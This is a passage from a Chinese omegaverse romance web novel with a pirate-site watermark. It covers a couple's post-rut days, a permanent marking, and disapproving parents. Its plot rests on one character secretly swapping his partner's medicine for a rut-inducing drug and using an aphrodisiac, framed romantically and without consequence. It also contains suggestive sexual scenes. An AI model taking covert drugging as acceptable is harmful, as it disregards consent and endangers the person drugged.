陆则盯着他红红的眼睛呼吸沉了沉,凑上去亲了亲,“……马上。” …… 宋知许问了好几次,看钟表时针又转了两圈终于哇的一声哭出来了,“好痛、破皮了陆则,我不要了!” 陆则揉捏着他的脸哄他,“我看看。”他说着又拎起宋知许的腿去看,看起来很可怜的肿着,于是他又亲了亲宋知许软绵绵的肉,“没有破,吹吹。” 他说完居然真的去吹,凉飕飕的气吹上去宋知许被激的弹了下,哭着推他的脑袋,“不要吹!”宋知许拽着床边要跑,床单都被他蹬皱了才勉强从陆则怀里逃出来,脚刚一碰地面就是一软,呜呜噜噜哭了好几声拽着地毯离床远了点,他现在看见陆则腿肚子都打颤。 陆则还保持着刚才跪坐在床上的姿势,似乎石化了一样,看看自己空空如也的怀抱又看坐在地毯上的宋知许,很不高兴的绷紧了唇。 宋知许见他这副表情更加欲哭无泪,见陆则有下来的打算着急到破音,“我饿了!老公我饿了!饿的肚子痛。” …… “把裤子穿上!” “不准裸着穿围裙!” “陆则!” “我要穿裤子!撒手!撒手啊!” 陆则现在活脱脱就是一个难缠的大型玩偶,去哪里都要带着宋知许,宋知许去哪里也都要跟着,陆则穿着围裙站在锅前拿个勺翻搅,还腾出一只手把早就准备好的各种味道的营养液塞了一支进宋知许的手里,“当小甜水喝。” 他慢慢嘬营养液,摸了摸陆则横挎在腰腹的手,压了压嘴角的笑,“你烦不烦呀,干脆把我绑你身上算了。” “绳子没有。”陆则盖上锅从后背抱紧他,“棍子倒有一根,怕丢了你拉着。” 宋知许:“?!” 宋知许脖子连带耳后瞬间红了一大片,猛的回头不可置信的看他,“你你你你……” 他狐疑的看陆则,“你清醒了?” 陆则点头,“当然。”他说完又伸手捏宋知许的屁股,“你为什么要穿裤子。” 宋知许:“……” 清醒个屁。 □□转世。 宋知许怒从心头起,恶向胆边生,不过脑子的开口,“我可以穿开裆裤。” “真的?” 陆则看起来十分期待。 宋知许捂上脸实在没力气跟他说话了。 这几天耗费了太多体力,宋知许站了会儿有点站不住,扶着大理石轻轻推陆则,“我要去沙发上坐着,腿软。” 陆则依依不舍嗯了声才放他出来,等屁股挨上沙发宋知许终于长长吐出一口气,挑了了个自己舒服的姿势窝在沙发上开始躺尸,他没安分多久就在沙发上翻来覆去的扭,扭了会儿一个硬邦邦的东西突然硌到了他的肩膀,宋知许定睛一看,这不正是自己几天都没摸到的手机么。 他试着开机,想起自己进浴室之前正用手机放歌,无人搭理的手机孤零零放了几个小时的歌自然而然没电了,幸亏充电器就在手边,他充了会儿再次尝试开机,还没等手机缓过劲叮叮当当不知道多少条信息和电话就塞满了屏幕。 有那些乱七八糟的朋友,有一些不太熟的人,更多的来自他妈宋女士。 他率先点进去直接翻到最上面。 【妈:什么时候回来】 【妈:说话。】 【妈:?】 【妈:语音通话未接通】 【妈:?】 接下来就是很多通未接的语言通话,最后一通过了半个小时对面继续发消息。 【妈:你跟陆则在一起?】 宋知许表情不太好看的看了眼厨房,很快的回拨,对面这次没有响多久就接通了。 “你跟陆则在一起?”宋女士一接通电话问的第一句就是这个,得到了宋知许肯定的回答再次询问她最关心的问题,“他终标你了?” 面对着对面近乎逼问的问题宋知许沉默了好一会儿才慢吞吞开口,“……没有,我们就是简单在一起待了几天什么都没干。” “开什么玩笑?”宋女士觉得很荒谬,“什么都没干待了几天你失联了四五天?被标记了直接说,我没时间跟你卖关子。” “你既然知道还问我?明知故问?”宋知许觉得自己像被扒光了一样逼问,“那我跟你说我被陆则*了你满意了?” 电话那边宋女士的声音有些失真,但冷冷的笑声还是一点不落的传进宋知许的耳朵,“你就这样说话,真把自己当个玩意儿,几天没见就被标记了,是不是再过两月不见肚子也该大了?” 对面还在继续说话,“你自己看着办,要么就抱紧陆则的大腿,被踹了谁还要你。” 她就是这样,宋知许知道,不外乎就是让他亲口说出这种近乎自轻自贱的话来贬低自己她才会高兴,像个心理扭曲的变态一样用亲情控制他贬低他来获得她自己心里的快意。 母爱是与生俱来的本能,可就连生他的omega父亲都没有多爱他,更何况是没有参与孕育过程的宋女士。 他手抖的不行,喉间梗着一口气挂掉宋女士的电话关机拔掉充电器,他想狠狠把这个能将伤害一点不落传到他耳边的手机摔掉,又怕惊动在厨房里的陆则只好攥着手机重重砸在沙发上,牙齿被咬的嘎吱作响,他浑身都在发抖。 这几天他跟陆则待在一起有多惬意高兴现在就有多恶心,这几天跟陆则做的事无一例外全变成了回旋镖扎在自己身上,他觉得自己恶心的要命,不管是换药还是跟陆则做这种事情都恶心透了。 一个自己上杆子送上来的oemga,还换了他的药,等陆则清醒了到底会怎么看他啊。 就算真有那么点喜欢也会被他消磨干净的,宋知许确定,他抖着手捂住自己的嘴巴呜咽。 他自私自利又谄媚,他贪财,爱权,还希望所有人都会喜欢他,但事实上却是从来没有人会喜欢他。 从生他的爸妈,小时候的朋友,小猫小狗,其他长辈。 从来没有。 陆则夸他可爱,可真正的他一点都不可爱,他故意夹着嗓子跟陆则说话,故意放出高匹配度的信息素给陆则,故意窝在陆则怀里跟他眨眼。 他尽量把自己蜷缩进沙发的角落求得一点微薄的安全感,他不想回去了,他一直在尽力愈合或掩盖伤口,一味强调痛苦只会让本就不顺遂的人生和无法愈合的伤口被一次次撕开,可为什么他妈妈一直在扎他。 为什么啊。 宋知许把脸窝在角落几乎没有给自己留下呼吸的空间,浑浑噩噩想其实自己说的也没错,陆则没有终标他,四天的时间其中近乎三天宋知许在假性发情,而陆则在易感期,这种情况下除了本来就没打算终标刻意在失去理智的时候压制他实在想不出不终标的第二个理由。 他喘不上来气,冻僵的伤口被捂热才发觉自己的伤口这么严重痛的要命,可他留不住这点热。 他不觉得陆则在易感期结束不会起疑,也不觉得那个老板给的药绝对查不出异样,在易感期他连一个终标都拿不到结果到底是什么显而易见。 陆则对他的态度已经很明了了,温柔什么的都是靠不住的,而真正有羁绊能形成一定保证的终身标记陆则却吝啬给予他——哪怕是失去理智全靠alpha本能行事的时候。 他难过的要死,心一抽一抽的痛,脑子空空的躺在沙发上流眼泪。 宋知许无声哭了会儿停摆很久的脑子终于勉为其难的转了几下,他又看向厨房,突然猛的睁大眼撑着沙发跌跌撞撞往厨房跑,扶着门的手用力到发白,他盯着眼前景象一时哑然不知道该说什么,而陆则拿着一口锅指了指化了一半的正方体物件: “这是什么?” 那东西还散发着淡淡的让人情动的香气,对方声音很平静,表情也很淡,或许只是易感期无力思考时纯粹的疑惑,但在此刻草木皆兵脆弱的要命的宋知许身上无疑是态度冷淡的最有力证据。 “助/兴的。”宋知许声音沙哑,前面几个字只是动了动嘴唇没能发出声,“……我什么都给你了。” 这话里带着难忍的哭腔,他小心的重复。 “我真的什么都没有了。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 第20章【VIP】 第20章 第二十章(三合一) 终标 陆则有些茫然, 更多的是不可置信的睁大了双眼,他缓缓开口质问,“我需要这个?” “这几天我没把你*服么?” 宋知许也很茫然的睁大了双眼, 他完全没想到陆则的关注点不在近似下药的行为而在于他行不行,一时间打好的腹稿全丢了七七八八哑口无言,“……不是、你。” 陆则看起来真生气了, 哐的一声把锅一扔几步走到宋知许面前拽着他就要回卧室。 宋知许更害怕了,被陆则还要大干特大的行径吓的连几分钟前自己因为什么伤心都忘了个一干二净, 双手手腕都被陆则拽着,对方轻轻松松就快把他拽出厨房, 情急之下干脆蹲下用整个人的重量跟陆则搞拔河依旧于事无补, “饭!饭还在锅上!吃饭啊!” 陆则闻言一停, 真的撒开了他的手腕, 宋知许一颗心还没落到肚子里就看见对方直接返回关掉火从冰箱冷藏里拿了一大盒营养液出来。 动作行云流水没有丝毫犹豫俯身继续来拽宋知许。 宋知许想想这几天一刻不停已经吓出眼泪了, 腿肚子发酸打颤根本站不起来, 对着陆则要来拽他的手直接抱上他的胳膊,他几乎整个人都攀了上去, “老公你最厉害了,歇一歇好不好, 我又饿又痛。”他还怕陆则不信,又重复夸了陆则好几遍他最厉害。 陆则:“……” 陆则耷拉着眉眼一屁股坐下, 宋知许放开他的胳膊又搂上他的脖子慢慢晃了晃,主动在对方侧脸亲了好多下才把人哄好坐上了餐桌。 他在餐桌上大气不敢喘埋头苦吃, 生怕什么行为哪句话再戳到Alpha在易感期敏感脆弱的神经又突然被拽走。 头顶的目光从始至终都极其灼热,宋知许没听到对面动筷子的声音抬起眼睛悄悄看了眼——一个早已空空如也的碗摆在那,陆则早就托着下巴在那观察他一举一动。 见他抬了下眼立马开口询问,“吃完了?” “没有没有没有——”宋知许脑袋摇的像拨浪鼓连声否认, 这次低下头再也没敢抬头看陆则,数米粒数菜叶的根茎,一副这饭可真饭的样子。 陆则坐姿拽的跟二五八万似的,坐在原地越等越焦躁,脑子是比前几天清醒了不少,但那股焦躁抓心挠肝的感觉一点没少,对面的宋知许浑身香的要命,脸漂亮动作漂亮,吸溜吸溜吃饭也很可爱,跟个人形春/药似的坐在那,他坐在椅子上改变了好几次坐姿最终还是没忍住。 宋知许:“……” 宋知许的脸都快埋进碗里,僵着身体不敢继续吃也不敢抬头看陆则轻举妄动,饶是像个木头人一样在那定着也阻挡不住陆则的动作。 他还捏着筷子就被陆则掐着腰拎起来离开凳子,悬空了几秒被按着坐在了陆则的大腿上,腰腹被他的手臂缠着,陆则从后背贴上来紧紧抱着,宋知许捏着筷子不知道该不该继续吃,陆则晃了晃腿,“继续吃。” 宋知许:“……” 他又僵着身体吃了几口放下筷子扭头去摸陆则脸,“你醒了么?” 陆则勉强顺着他的力道从宋知许肩窝里露出两只还算清醒的眼睛,“……嗯。” “那你、那你醒了怎么还这样。”宋知许小声控诉。 陆则:“我哪样?” 宋知许动了下往下瞥了眼,“就这样。” 陆则捏了下他的手,“因为你可爱,我看见就想*。” …… 宋知许胃里总觉得空空的,这几天没好好吃饭又不好吃太快,于是吃一会儿歇一会儿,陆则既然清醒了也不至于禽兽到不让他吃饭,在厨房等在客厅等来回绕,觉得烦了就抱着闻一闻。 易感期不算完全结束,就算不在易感期他也特别喜欢宋知许的味道,遑论现在还是陪伴自己度过易感期的味道,现在的陆则更加依赖。 他正到处转悠,绝大部分时间都在潜水的996也晃晃悠悠冒出来了。 【宿主~】996说,【剧情点还没完成哦。】 陆则:“?” “还有什么?” 996哎了声,从声音里也能听出‘我就勉强告诉你吧’的意味,【终标啊宿主终标,终身标记啊,你易感期把宋知许腺体咬烂了都没用,得成结啊!】 陆则:“……?” 【ABO世界男性Omega有生殖腔,你要生殖腔成结然后再注入信息素……】996开始给这个非本地土著的宿主疯狂科普生殖腔按人体结构在哪里,如何成结,如何完成终标,终标后如何善后巴拉巴拉说的这个电子生物口干舌燥。 …… 陆则趴在阳台上在手机上看具体科普视频,翻来翻去大部分都说的含糊其辞,他看来看去没看出什么大名堂。 不会一会儿就搞笑了。 陆则:“……” 脚上的拖鞋走起路来很安静,宋知许腿上没劲轻飘飘的,更安静了,他走进卧室就看见好几天没拉开的窗帘终于开了条缝,他从拉开的那条缝里钻出去把脸贴上陆则的背,“我吃好了。” 陆则把手机熄屏沉默了会儿,“腺体疼么?” “……不疼呀。”宋知许状似无意,“听说终标腺体和生殖腔都会痛,但是你没有终标我呀。” 他从侧面溜进陆则怀里,“上次初标完你的味道很快就消失掉了,感觉不是终标我的腺体代谢起来很快。” 陆则垂着眼看着他,嘴唇紧绷着很明显有点不高兴。 被临时标记过的Omega在易感期还未完全结束前不久刚刚亲密接触过的Alpha面前说什么标记消失的快诸如此类的话从某种程度来说就是激起Alpha的占有欲,虽然眼前是个ABO知识储备不太完善的非土著依旧不影响陆则下意识的不高兴。 宋知许定定的看他,细细观察他的表情,看到他紧绷的嘴唇和下撇的嘴角,试探一般伸手去勾他的手指,陆则垂着眼看他的手指没有多余的反应,宋知许不死心的又勾了几下。 陆则的目光从他修剪的整齐圆润又是很健康的粉色的指甲往上看,看他被咬出好几个印子的手腕,看裸露在外的被嘬出红痕的肌肤,易感期里不算特别明晰的记忆完全被唤醒,每一滴汗和眼泪,还有汗湿后润的要命的肌肤,他的喉结上下滑动了下。 …… 窗帘被拉上卧室重归昏暗,两个人都很清醒,又在这种氛围里不可控制的意乱情迷。 这几天最亲密的事情已经做尽,但因为易感期和假性发情似乎都差点坦诚相待的意思,宋知许整个人都红成了虾子,捂着脸几次催促陆则把卧室最后的灯关掉,陆则只是反反复复亲他捂着脸的手,“你不想看我?” “没有……”宋知许声如蚊呐,他的手依旧捂着脸不肯放下来,只是从指缝中飞快瞥了一眼就立马挪开。 陆则却不肯放过已经在冒烟的宋知许,俯下身扯着他的手摸自己的脸,像是要钻进他的眼睛里似的凑近,“看我,睁眼宝贝。” 陆则靠的太近,昏暗的光把他本来就立体的眉眼打的看起来更加深邃,浓密的睫毛在眼下打出一片阴影,眼里带着点笑又带着点欲,宋知许的手被带着从脸摸到眼睛、鼻梁最后到嘴唇,被摸的是陆则他反倒轻微的发起抖,心咚咚跳的很快。 不止他在看陆则,烂熟于心的眉眼每一次看都能看到不一样的神态,本来柔软又清凌凌的目光现在晕乎乎看起来没法很好的聚焦,一副被迷的找不着北的样儿。 怎么这么好看啊? 两人同时想。 陆则撑着胳膊缓慢的释放信息素,紧贴的身体心脏的位置靠的很近,陆则听着两道心跳的声音慢慢同频——咚、咚、咚! 两颗跳动的心脏相贴存在感强烈,跳的太用力宋知许甚至有种窒息的错觉,显然身上的陆则此刻也没好到哪里去,两人都在用力的呼吸汲取氧气平复心跳。 宋知许更晕了,酸痛的胳膊腿更加没有力气,他松松垮垮的攀附在陆则身上,陆则每动一次他就发出没有任何明确意义的哼哼,陆则的额头重重抵在宋知许身上喘,“好了么?” 宋知许耳朵嗡嗡的,没有听清他说什么,下意识哼哼两声以示应答,听到答应的声音一直努力克制的陆则总算忍不住了,他直起身拎了拎宋知许两条腿,下一秒,狂风骤雨般的情/欲就全部宣泄在了宋知许身上。 黄色灯光下白皙细腻的皮肤看起来更加细腻,绵软平坦的腹部偶尔抽搐一下,随着呼吸轻微的动着,陆则伸手去摸,刚碰到对方就反应很大的一抖,等那只手彻底落实适应了会儿才算平静下来,光是抚摸没法缓解他的燥,心里好像有把火在烧,他再次俯下身亲吻。 刚被亲到的瞬间宋知许就抖个不停,还可怜的呜咽着求陆则别亲了,他的手虚虚抓在陆则的脑袋上没什么力气的推拒。 他闭着嘴用鼻子来平复呼吸,尽力忽视腹部湿润的感觉,陆则的手指却又在他的唇边流连把玩,他掰着他的下唇凑上来亲吻,很有耐心的吮吸,“张嘴,舌头,嗯?” 宋知许抖着眼睫乖乖吐出一点舌尖给他。 “好宝宝。”陆则捏着他的下巴夸,“乖宝宝,这么听话啊。” 陆则亲的很温吞,并不着急,但却很重,暧昧的水声在耳边断断续续响起,陆则好不容易放开他发出轻轻‘啵’的一声。 他抓着陆则的胳膊哆嗦,陆则撑着用大拇指撩开他的额发又去摸他沾着泪珠半阖着的眼睛,一直以来若有若无的试探他终于找到了疑似生殖腔的地方,紧紧闭合的生殖腔保护着脆弱又容易受到伤害的Omega,尝试几次无果后他慢慢的亲又去哄,“打开让我进去。” 宋知许抖的更厉害了,本来只是沾在睫毛上的泪珠很快聚了更多沿着侧脸流下去,他皱着眉紧闭着眼睛,过了一会儿无助的摇头哽咽,“打不开……我不会。” 陆则当然更不明白怎么打开生殖腔,依靠他临时恶补的那点匮乏的知识也仅仅知道Omega在发情期时会自动打开或者在情/动时也可以微微打开。 当然也有Alpha强行破开的情况,不过这种情况下双方都很不舒服就是了。 陆则浑身都是热出的汗,信息素的味道被汗液慢慢氤氲开,几滴汗沿着脖子滑下,热源离开了宋知许的身体,他茫然的微微睁开眼,那滴汗正正好好砸在了他的眼皮上。 宋知许好像被砸懵了,汗液落下的瞬间下意识闭眼又睁开,面前对上的就是陆则形状很饱满的胸肌,他呆呆的眨了下,上手捏了捏哇了声。 手上的触感光滑,像个很好玩的捏捏,宋知许爱不释手的捏来捏去,陆则还直起腰让他捏的更方便,“喜欢啊?” “嗯嗯。”宋知许连连点头,满脸不加掩饰的喜欢。 陆则也捏了捏他,脸上带着笑询问,“你也练一个?” 迷迷瞪瞪的宋知许先是讶异了几秒,张嘴就说,“我哪里能练出来?” 他说完安静几秒觉得不太对,很是狐疑的看陆则脸上的笑,“好啊——你嘲笑我是个颜删汀白斩鸡?” 他气的直哼哼,嘀嘀咕咕,“那你啃白斩鸡还啃的这么起劲。”宋知许嘀咕完双手捧住陆则的脖子从下往上一点点亲,在喉结上流连的更久,“你练的好性感呀。” 陆则稍微温柔一点他就像不清楚现在是个什么情景一样,不知道是真喜欢还是已经养成了习惯的讨好,赞美的话不要钱一样一箩筐一箩筐往外扔,丝毫不想想现在还各种夸夸一会儿等他的是什么,真开始了又从头哭到尾。 陆则再次直起身体观察他的表情,似乎在看他到底有几分真情几分假意,“喜欢我呀?” 热源离开裸露的肌肤接触到空气有些凉,宋知许起了点鸡皮疙瘩,哼哼两声以示应答,很不满的看陆则还伸手去探他的胳膊,“要抱。” 陆则轻松的捞着他的后背把人抱起来再次询问,“喜欢我呀?” “喜欢喜欢。” “喜欢哪里?”陆则不依不饶询问,“匹配度、脸、钱?还是喜欢我这个人?” 就是这些组成了你这个人啊,宋知许这样想,喜欢陆则,陆则身上还有一堆他喜欢的东西,可他也就是这么想想不敢这么说,抱紧陆则连声说喜欢他这个人。 他不肯跟陆则分开一点,抱紧他的双臂稍微有松开的迹象宋知许就不满的哼哼,浑身软绵绵挂在陆则身上。 耳边隐隐约约的信息素净化的装置发出的声音不知道什么时候停了,陆则把遥控器随手扔在床头,没有净化装置来排气空气中的信息素很快就粘稠起来,怀里的宋知许变成了一个小火炉,于是他抱的更紧从陆则身上汲取凉意。 陆则嘴里的好宝宝,怎么这么乖啊诸如此类的夸赞就没停过,宋知许脸很红,几次没什么威慑力的瞪他,又很依恋高兴的抱紧,被夸的嘴角就没下来过,他被信息素熏晕了,夹着嗓子说话,“我真这么好啊?” “当然。”陆则没有丝毫犹豫的回应他,“天底下最好的好宝宝。” “……”宋知许眨眨眼,忍下那股酸涩的泪意,瘪了下嘴又笑,拖着长长的调子嗯了声,“嗯——你真好。” “喜欢你。” …… 宋知许崩溃的喘,轻微的挣扎全被陆则压制住,后颈腺体正被死死咬着注入信息素,这些天被咬了无数次的腺体里已经无限趋近饱和,更多的信息素注入让他感觉自己的腺体都在突突的跳。 他被按着一下都没法动,只能在原处徒劳的哭喘,本来就已经完成无数次临时标记产生羁绊的腺体此刻更是被一种奇妙的感觉笼罩,紫藤香彻底被水果香压了下去,腺体在此刻根本不受他控制。 宋知许尽力扭头去看陆则的脸想获得一点心理上的慰藉,但无法控制被完全标记的腺体还是让他心空空的,无关标记他的人是谁,只是一种自己没法做主与其他人产生最深切难以拔除的羁绊时恐慌感。 他心空空的落泪,连陆则什么时候放开都不清楚,在陆则安抚的亲他的耳朵侧脸放出安抚意味的信息素很久后才缓过这股劲。 心里空落落的感觉是缓解了不少,但宋知许依旧急需他的Alpha给予他温存和安慰,契合度极高的信息素在终标后对双方的吸引力进一步提升,他钻进陆则怀里,“抱我。” 陆则收紧了手臂,他依旧觉得不满足小声催促,“抱紧一点。” 直到被抱到有些喘不上气,紧紧的蜷缩在对方怀里,每一次呼吸间鼻腔都是对方信息素的味道他才罢休。 宋知许很累很困,强撑着不愿意睡觉,被抱的太紧没法看到陆则的脸,但他还是扬起脖子盯着陆则的下巴看,“陆则。” “嗯。” “则则呀~”得到回应宋知许笑着嗲嗲的说话。 “嗯” “咳。”宋知许咳了声,模仿那些领导教训下属语重心长的开口,“小陆啊——” 他说完先把自己逗笑了,陆则上手抓他腰上的痒痒肉搞的他笑个不停,笑着笑着滚出了陆则的怀抱又被抱回去,陆则拉起被子给他盖上有一下没一下拍他,怀里宋知许也不闹腾了,就保持着这个姿势躺了没几分钟怀里人就睡熟了。 陆则动作很轻的坐起来把宋知许放好,他去浴室冲了个战斗澡随便翻了条裤子穿上就去了厨房,昨天随便扔在那里的锅还保持着融化掉四分之三的样子,陆则伸手用指甲扣了点放在鼻子下闻了闻。 “996,出来。”陆则开口,“能看出这是什么么?” 【助/兴的。】连续不断被锁小黑屋的996出来就不愿意再回去,说完这句又在陆则眼前晃了晃,看他没有再问的意思飞走趴在窗户前看外面去了。 陆则诡异的沉默了会儿拿着锅到垃圾桶前扣了几下才倒干净,锅放回原处发出轻轻的磕碰声,他却没再动,兀自靠着柜台低头沉思。 为什么会突然来易感期呢? 因为常综的药——真的起效那么快么。 他慢慢动了动,捏着靠在窗边的996往书房走,“能分析出药物里面有什么么?” 996晃晃脑袋表示可以。 好几天没碰过的小箱子再次被打开,陆则把两个小瓶子撬开封口摆在桌上让996看。 数据分析出来很快,996看起来无精打采蹲在桌上,【就是刺激易感期提前的药,但药效挺烈的,所以起效快。】 陆则不需要再听996继续分析什么了,光是这前半段话就与常综给他的药物作用形成极端,常综拿的药是经过临床有发行计划合规的药物,而眼前这玩意儿听描述显然不是什么正经药。 陆则:“……” 996打哈气,【怎么,怀疑被换药了啊?】 陆则:“……你一个智能系统怎么这么阴暗。” 他拿起那两小瓶药往卫生间走。 【那不然嘞。】996说,【我是人渣扮演系统好吧,绑定的宿主也是人渣,不邪恶阴暗怎么镇得住人渣啊?】 这个药一直在家里放着,常综送来时他也注射过,不可能是常综,那到底是谁显而易见。 【所以你要送去化验、啊?你干嘛啊?】996看着陆则动作声音里满是疑惑不解。 透明的液体被倒进马桶按下冲水冲干净,使用过的瓶子被放到水流下冲洗才扔掉,陆则冷着脸看旋转的水涡,好像要把水涡看出个花来。 “不干嘛。” * 手边没有顺手的东西,昂贵的包包就被陆母拿着扔了出来,陆则没躲,任由那个包砸在自己脸上然后捡起放回沙发。 “你真有脸说啊!”陆母气够呛,“易感期标记人家Omega很光彩吗?说出去也不嫌丢人啊你。” “这辛亏你身边是宋知许,还能嘴硬说有婚约,那要是别的Omega呢,你也就精/虫上脑的标记了?”陆母瞪他,“还是个S级Alpha,从小到大受的信息素抗压训练都受到狗肚子里去了!见到个Omega就往上扑!” 她骂完还不解气顺手拿起陆则捡回来的包又扔了回去,这次没扔到陆则直接从他肩上扔到了客厅中间,陆延也回来了,正好看见包包扔出的曲线,解开领带捡起包,客厅里弥漫着一股Omega和Alpha信息素混杂的味道,他动了下鼻子立马锁定了这味道的来源。 陆则一副神清气爽的样子,贴着抑制贴信息素的味道依旧不能很好的收着,耀武扬威的宣誓着存在感。 陆延:“?” 他看了看站在那听训的陆则,又看了看气到不行的陆母,心里大致有了个猜测,“……这是怎么了?” 陆母不想复述,只觉得头痛,咬牙切齿指着陆则鼻子,“你问你这个惹祸精弟弟!” 陆则被训了半天看起来也不是很在意,“易感期我把宋知许标记了。” 陆延:“?” 陆延头顶上冒着大大的两个问号,但看了看生气的母亲还是决定做和事佬,“妈你别生气,其实也不是什么大事……现在的社会很开放了,两人到底是要结婚的,提前标记也没什么。” “你看。”有人跟自己保持统一战线陆则站的更直了。 陆延一听这个你看就去瞪陆则让他闭嘴别火上浇油。 陆母听的直翻白眼,“我当初生了你们两个Alpha我就觉得自己很命苦,你们这种Alpha哪里会像小O一样的体谅人,还有你们懂什么啊,这次易感期你不清醒能标记宋知许,那证明你就控制不住自己,下次易感期是不是还要标记别人啊?” “我告诉你你自己控制住自己,别给我往家里搞不三不四的,不然我打死你。”陆母根本不想看他,“你以为你是个Alpha传出去风流的名声就很好听了?说的好听点是风流,不好听点就是S、臭不要脸!” “放我们那几年Omega婚前被终标了背地里不被戳着脊梁骨指点才有鬼了!” “呃——”陆延试图继续夹在中间当他的和事佬,“宋知许那边、他……?” “他一直在哭。”陆则继续火上浇油。 他没说谎,是一直在哭没错啊。 本来就火冒三丈的陆母这下更生气了,好半天没说话,“你有时间叫宋知许来家里再吃顿饭。” …… 宋知许从进来开始就显得很尴尬,Omega被终标初期绝大部分都很难完全控制好自己的信息素,于是他来之前检查了无数遍抑制贴还喷了很多抑制剂,但他身上被陆则嘬出来的印子没法完全遮住,脸颊上有红痕,耳朵上手腕上有被咬出血结痂的细小伤口,顶着这么一身在对方家长面前他坐立不安。 不过今天也只有陆母和陆则在,他庆幸的想要是陆则的爸爸和哥哥也在不知道会是怎么样的地狱场景。 陆母端着果盘放在茶几上,声音很温柔的问,“最近身体有没有不舒服呀?” “没有。”宋知许不是很敢抬头露着脖子,勾着下巴摇摇头,“都挺好的伯母。” “没有不舒服就好。”陆母把果盘往宋知许那里推了推,“先吃点水果,阿姨快做好饭了。” 宋知许没什么胃口,但也不好不吃随意叉了块苹果慢慢咬。 陆母一直在观察他的神情,看他不太说话也不像上次来那么笑意吟吟抿了抿嘴唇,“终标后身体激素有变化会有什么不舒服是正常的,要是觉得哪不对让小则陪你去医院看看,啊?” “嗯嗯会的。”宋知许真不觉得自己有什么事,但坐的时间越长越怀疑信息素是不是泄露了出来,现在就想去卫生间重新检查一下抑制贴再喷点抑制剂,“我没事伯母,您不用担心。” “……”陆母点点头很是关切的开口,“易感期的Alpha都挺不知轻重的,身边有个喜欢的Omega更是控制不住,这小子头一次不是一个人度过易感期,你多担待担待。” 陆母的声音很温柔好听,是女性的那种温和,刻意温柔起来很让人亲近,宋知许看起来放松了很多,陪着陆母又说了几句话去客卫了。 陆则一直旁边杵着脑袋,宋知许一走他干脆拿着手机玩,陆母也起来转悠着去厨房看看,996蹲在陆则肩上一直在嘀咕。 【你妈真是个大尾巴狼。】996说,【我们那有个特别火的电视剧,里面有句台词叫‘温柔刀,刀刀割人性命啊~’】 “这是‘陆则’的妈。”陆则纠正。 【管他呢,现在她就是你妈。】 陆则没继续吭声。 陆母这种人好是对自家人的,坏是留给外人的,从‘陆则’角度来看她绝对是个好妈妈,但她不会是个好婆婆,她不至于苛待宋知许,但也绝不会把宋知许真正的当自家人,话里话外似乎在关切宋知许实际上句句都在为陆则易感期里不清醒下对他的标记的开脱。 她自己是一个Omega,从某些时候也会对同为Omega的宋知许感同身受,但从亲缘私心而言又理所当然的对宋知许持居高临下将他看作是外人。 这是种普遍存在的现象,或许在陆母嫁人后也遭受过这种境遇,但在很多年后的现在她又把她当年遭遇过的事情在下一辈身上重演一遍。 陆则没法改变对方的观念,甚至无从纠正,当然,他也没有那个功夫纠正。 他对母亲两个字的印象并不美好,对于穿书后落在头上的母亲也难以培养出什么感情,像他之前对宋知许说的,婚后就从这里搬出来两个人单独住。 于理陆母是原主的母亲,他无法贸然替原主做出取舍,在既无法取舍又很难改变观念真正调和关系的情况下自然最好距离产生美。 硬要把明知肯定会产生矛盾的人强硬安排在一起试图早就大同世界才是最可笑的念头。 …… 陆则找到宋知许的时候他坐在马桶盖子上玩手机,撕掉抑制贴丝丝缕缕的信息素都往陆则鼻子里钻,“抑制贴撕了?” “撕了。”宋知许低着头给他看红肿的后颈,“你咬完一直没好,抑制贴贴上去撕下来贴上去撕下来很疼,是不是又破了?” 陆则轻轻碰了碰吹了吹,后颈上鼓起的腺体还有齿痕留下的痂,抑制贴来回折腾让最近本来就脆弱的皮肤红红的,有些地方像是过敏,“得上点药,用药水洗一洗。最近别贴抑制贴了,戴抑制环吧?” 抑制环其实相较抑制贴更加便捷,但是后来一点发明的东西,价格并不实惠,对于大众不算普及,而且抑制贴在更多人眼里不止是阻隔味道,还有一半的作用是能遮盖住腺体。 “你妈为什么那么跟我说啊。”宋知许摸不着头脑,“好像显得你易感期虐待我了一样……” “那我虐待你了么?” 宋知许:“……” 宋知许撅起嘴眼珠子咕噜咕噜的转,看天看地不看陆则。 陆则:“?” 宋知许这反应搞的他也不自信起来,开始怀疑自己是不是在易感期某个不清醒的时刻真做了什么比较暴力的事情伤到了柔弱的omega。 “你在床上暴打我。”宋知许小声说,“我现在屁股都很痛。” 陆则:“……” 陆则无语凝噎,“来。”他伸手去拽宋知许,“饭别吃了现在出去,我再暴打你一顿。” “哎~~~~!”宋知许吓出颤音,“我刚才开玩笑的!而且你真的虐待我了!你看我的眼睛,我一直在哭,今天都没完全消肿!”他把眼睛怼在陆则面前扒拉着给陆则看自己微肿的眼皮,“你看我眼睛下面,擦眼泪擦多了都破了。” 他越说越觉得就是那么回事,底气十足,“你易感期结束那天你都不让我吃饭,我坐那大气不敢出生怕你脑子一抽然后拽着我回卧室,我都吓死了,我腿肚子都打颤软的根本站不起来。”他撩起上衣下摆给出最有力证据,还在陆则面前转了一圈展示自己被陆则吸成金钱豹的后背,“你看!” 陆则:“……” 好像真是那么回事。 他一下子理亏的不行没话说,宋知许乘胜追击推着他出卫生间,“我抑制贴也不能贴,老往出散味儿,一身印我都不好意思看你妈,更别提一张桌子上吃饭,你帮我解释解释。” * 陆家偌大的别墅很安静,里面没什么人,打扫卫生做饭的阿姨一个赛一个安静,宋知许从上面看见Lucky在底下跑来跑去自己跟自己玩,从头到尾一声不叫,想叫了就喀喀喀的打几下快板。 这么安静的环境显得电话里的声音更加吵闹。 “他妈说什么了啊?”宋女士不死心的问。 “就是说一些家长里短的闲话,没说什么。”宋知许扣那个光滑的木制围栏,太用力抠着抠着着硬生生把打磨好上过漆的围栏抠出了刺。 “陆则终标完他妈叫你去吃饭除了这些什么都不说?婚事呢,一句都没提?” “没有。”既然终标后对方家长立马叫来家里吃饭应该是知情且认可的,宋知许不知道陆母是不是想提几句婚事,但他吃饭的时候也没下去,就算想提跟空气提么。 “他们不提你不会跟陆则说么?”宋女士说,“刚标记完他对你肯定正热乎着,你多磨一磨,嫁进去就好了。” 宋知许没吭声,很奇异的,他现在根本不想像恨嫁一样拉下脸皮去试探陆则,他好像突然在陆则面前找回了那点早已麻木的自尊心,不想因为家里急切的想攀上陆家去逼问婚事,也不想假情假意的去讨好陆则,他就想像个普通的谈恋爱的Omega一样好好的跟陆则相处。 “我不要脸的么?”宋知许反问。 宋女士气笑了,“要是个乱七八糟的富二代或者七老八十二婚的你说这话还有点道理,问题陆则年轻有钱长得也是佼佼者,你矫情什么?” 